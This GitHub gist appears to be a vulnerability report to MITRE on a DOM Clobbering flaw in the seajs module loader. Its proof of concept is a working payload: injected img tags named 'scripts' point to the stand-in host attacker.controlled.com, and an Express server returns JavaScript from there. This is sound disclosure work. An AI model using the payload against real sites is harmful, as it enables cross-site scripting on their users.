Skip to content

Instantly share code, notes, and snippets.

@jackfromeast
Last active March 3, 2025 02:27
Show Gist options
  • Select an option

  • Save jackfromeast/176413c3bd73f825f7aeeb05e80e02a6 to your computer and use it in GitHub Desktop.

Select an option

Save jackfromeast/176413c3bd73f825f7aeeb05e80e02a6 to your computer and use it in GitHub Desktop.
DOM Clobbering Gadget found in seajs that leads to XSS

Hi, MITRE Security team!

Summary

I have discovered a DOM Clobbering vulnerability in the seajs package. The DOM Clobbering gadget in the module can lead to cross-site scripting (XSS) in web pages where scriptless attacker-controlled HTML elements (e.g., an img tag with an unsanitized name attribute) are present.

Note that, we have found similar issues in the other popular client-side libraries for building websites, including Webpack (CVE-2024-43788), Vite (CVE-2024-45812), and layui (CVE-2024-47075), which might be good references to this kind of vulnerability.

Details

Backgrounds

DOM Clobbering is a type of code-reuse attack where the attacker first embeds a piece of non-script, seemingly benign HTML markups in the webpage (e.g. through a post or comment) and leverages the gadgets (pieces of js code) living in the existing javascript code to transform it into executable code. More for information about DOM Clobbering, here are some references:

[1] https://scnps.co/papers/sp23_domclob.pdf
[2] https://research.securitum.com/xss-in-amp4email-dom-clobbering/

DOM Clobbering Gadgets found in seajs

The seajs is a javascript module loader for the web. However, it uses the following code snippet to determine the base url for dynamically loading additional javascript, which is vulnerable to the DOM Clobbering attacks.

// https://github.com/seajs/seajs/blob/master/src/util-path.js#L231-L247
var doc = document
var scripts = doc.scripts

// Recommend to add `seajsnode` id for the `sea.js` script element
var loaderScript = doc.getElementById("seajsnode") ||
  scripts[scripts.length - 1]

function getScriptAbsoluteSrc(node) {
  return node.hasAttribute ? // non-IE6/7
    node.src :
    // see http://msdn.microsoft.com/en-us/library/ms536429(VS.85).aspx
    node.getAttribute("src", 4)
}
loaderPath = getScriptAbsoluteSrc(loaderScript)
// When `sea.js` is inline, set loaderDir to current working directory
loaderDir = dirname(loaderPath || cwd)

The document.scripts lookup can be shadowed by an attacker injected non-script HTML elements (e.g., <img name="scripts">) via the browser's named DOM access mechanism. This manipulation allows an attacker to replace the intended script elements with an array of attacker-controlled scriptless HTML elements. When this happens, the src attribute of the attacker-controlled element is used as the URL for importing scripts, potentially leading to the dynamic loading of scripts from an attacker-controlled server.

PoC

In the following code snippet, the jquery.js will be loaded from the attacker.controlled.com and leads to XSS.

Then, download the seajs source from the Github (git clone https://github.com/seajs/seajs.git) and set the poc.html as follows.

<html>
<body>
  <!--Payload-->
  <img name="scripts" src="http://attacker.controlled.com">
  <img name="scripts" src="http://attacker.controlled.com">
  <!--Payload-->

  <script src="seajs/dist/sea.js"></script>
  <script>
  // Set configuration
  seajs.config({
    alias: {
      "jquery": "jquery/jquery/1.10.1/jquery.js"
    }
  });
  seajs.use("examples/hello/1.0.0/main");
  </script>
  <!--Library-->
</body>
</html>

An attacker can setup the server like:

const express = require('express');
const path = require('path');
const app = express();
const port = 9999;

app.use((req, res, next) => {
  res.setHeader('Access-Control-Allow-Origin', '*');
  res.setHeader('Access-Control-Allow-Headers', 'Content-Type');
  res.setHeader('Content-Type', 'application/javascript');
  next();
});


app.get('*', (req, res) => {
  res.sendFile(path.join(__dirname, 'alert.js'));
});


app.listen(port, () => {
  console.log(`Attacker Server listening on http://localhost:${port}`);
});
//alert.js
alert(document.origin)

Impact

This vulnerability can result in cross-site scripting (XSS) attacks on websites that integrate seajs and allow users to inject certain scriptless HTML tags without properly sanitizing the name attributes.

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment